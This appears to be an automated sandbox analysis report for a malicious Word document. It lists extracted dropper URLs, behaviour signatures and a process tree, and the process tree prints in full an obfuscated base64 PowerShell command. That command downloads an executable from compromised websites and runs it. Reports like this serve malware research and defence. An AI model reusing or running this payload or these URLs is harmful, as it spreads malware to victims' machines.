Overview

overview

10

task1

 

10

Analysis

  • max time kernel
    29s
  • max time network
    31s
  • resource
    win7v191014
  • submitted
    04-02-2020 09:40

Sharing

Copy URL
Twitter E-mail

General

  • Target

    3b462b9a1e59ff9c79bc1be87dbea02822415c3a0ddfecce296b4257269cad5e.doc

  • Sample

    200204-2vbpsamrx2

  • SHA256

    3b462b9a1e59ff9c79bc1be87dbea02822415c3a0ddfecce296b4257269cad5e

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://crimecitynews.com/wp-includes/DeHZs1/
exe.dropper

http://clicksbyayush.com/wp-content/T721/
exe.dropper

https://www.hgklighting.com/dacecb0fcd2bc6cbe09ed1527e527b37/pwdSS610g/
exe.dropper

http://cheapwebvn.net/wp-content/cache/uZLPqwbGic/
exe.dropper

http://sundevilstudentwork.com/wp-content/N4h2nKXI/

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3b462b9a1e59ff9c79bc1be87dbea02822415c3a0ddfecce296b4257269cad5e.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:856
  • C:\Windows\System32\WindowsPowerShell\v1.0\PoWERsheLL.exe
    PoWERsheLL -e JABLAHcAZQBtAHoAdQBwAHIAdQBmAD0AJwBGAG4AawBnAGcAegB2AHQAJwA7ACQATQB2AG0AcgB2AGUAZABnACAAPQAgACcAOAA5ADQAJwA7ACQAQgB0AG0AbgBrAGQAdABxAGIAZQBuAHkAPQAnAEwAcABnAGQAbAByAHIAcABtACcAOwAkAEgAegB5AGkAZgBsAHgAcABhAHMAYwBsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABNAHYAbQByAHYAZQBkAGcAKwAnAC4AZQB4AGUAJwA7ACQARwBvAHkAZABrAGIAbgBjAGUAZAB0AG0AZwA9ACcAQgBwAGwAdgByAG8AYgBhAHYAagBwACcAOwAkAFMAZABoAGsAZABrAGgAcwBpAHQAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AdwBlAGIAQwBMAEkARQBOAHQAOwAkAFMAegB1AGEAZAB3AHAAcwBlAG8AdwA9ACcAaAB0AHQAcAA6AC8ALwBjAHIAaQBtAGUAYwBpAHQAeQBuAGUAdwBzAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBEAGUASABaAHMAMQAvACoAaAB0AHQAcAA6AC8ALwBjAGwAaQBjAGsAcwBiAHkAYQB5AHUAcwBoAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AVAA3ADIAMQAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AaABnAGsAbABpAGcAaAB0AGkAbgBnAC4AYwBvAG0ALwBkAGEAYwBlAGMAYgAwAGYAYwBkADIAYgBjADYAYwBiAGUAMAA5AGUAZAAxADUAMgA3AGUANQAyADcAYgAzADcALwBwAHcAZABTAFMANgAxADAAZwAvACoAaAB0AHQAcAA6AC8ALwBjAGgAZQBhAHAAdwBlAGIAdgBuAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AYwBhAGMAaABlAC8AdQBaAEwAUABxAHcAYgBHAGkAYwAvACoAaAB0AHQAcAA6AC8ALwBzAHUAbgBkAGUAdgBpAGwAcwB0AHUAZABlAG4AdAB3AG8AcgBrAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgA0AGgAMgBuAEsAWABJAC8AJwAuACIAUwBgAHAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABRAGEAbQBoAHcAbwBlAG8AdQBtAD0AJwBBAHcAZQBkAHIAYwB6AHkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFQAbwBkAGYAaQB6AGMAegAgAGkAbgAgACQAUwB6AHUAYQBkAHcAcABzAGUAbwB3ACkAewB0AHIAeQB7ACQAUwBkAGgAawBkAGsAaABzAGkAdAAuACIARABgAE8AVwBuAGwAbwBBAGQAZgBgAGkAYABMAGUAIgAoACQAVABvAGQAZgBpAHoAYwB6ACwAIAAkAEgAegB5AGkAZgBsAHgAcABhAHMAYwBsACkAOwAkAEIAZABxAHkAawBmAG8AZAB1AHYAawA9ACcARABxAGwAcQBzAGEAeQBnAGMAdgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEgAegB5AGkAZgBsAHgAcABhAHMAYwBsACkALgAiAEwAYABFAE4AYABHAHQASAAiACAALQBnAGUAIAAzADQAMgAyADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGAARQBhAFQAZQAiACgAJABIAHoAeQBpAGYAbAB4AHAAYQBzAGMAbAApADsAJABXAHgAZABnAHAAcwBuAGEAeQBpAHIAeAA9ACcAQQByAHMAdQBzAHkAbABiAG0AZgBtAGgAeAAnADsAYgByAGUAYQBrADsAJABaAGkAeABoAHQAaQBxAHoAbgBnAD0AJwBLAGYAaQB1AHMAbwBiAHgAbwBqAGEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwB2AGsAeAB1AGgAdQBuAHEAegBhAHQAPQAnAFAAagByAGYAbwB6AGoAYgB3AGUAJwA=
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    PID:488
  • C:\Users\Admin\894.exe
    C:\Users\Admin\894.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:1808

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\894.exe
    Download Submit
  • C:\Users\Admin\894.exe
    Download Submit
  • memory/856-0-0x0000000005BD0000-0x0000000005CD0000-memory.dmp
    Filesize

    1024KB

    Download
  • memory/856-2-0x0000000007BA0000-0x0000000007BA4000-memory.dmp
    Filesize

    16KB

    Download
  • memory/856-5-0x0000000009FA0000-0x0000000009FA4000-memory.dmp
    Filesize

    16KB

    Download
  • memory/856-6-0x000000000B020000-0x000000000B024000-memory.dmp
    Filesize

    16KB

    Download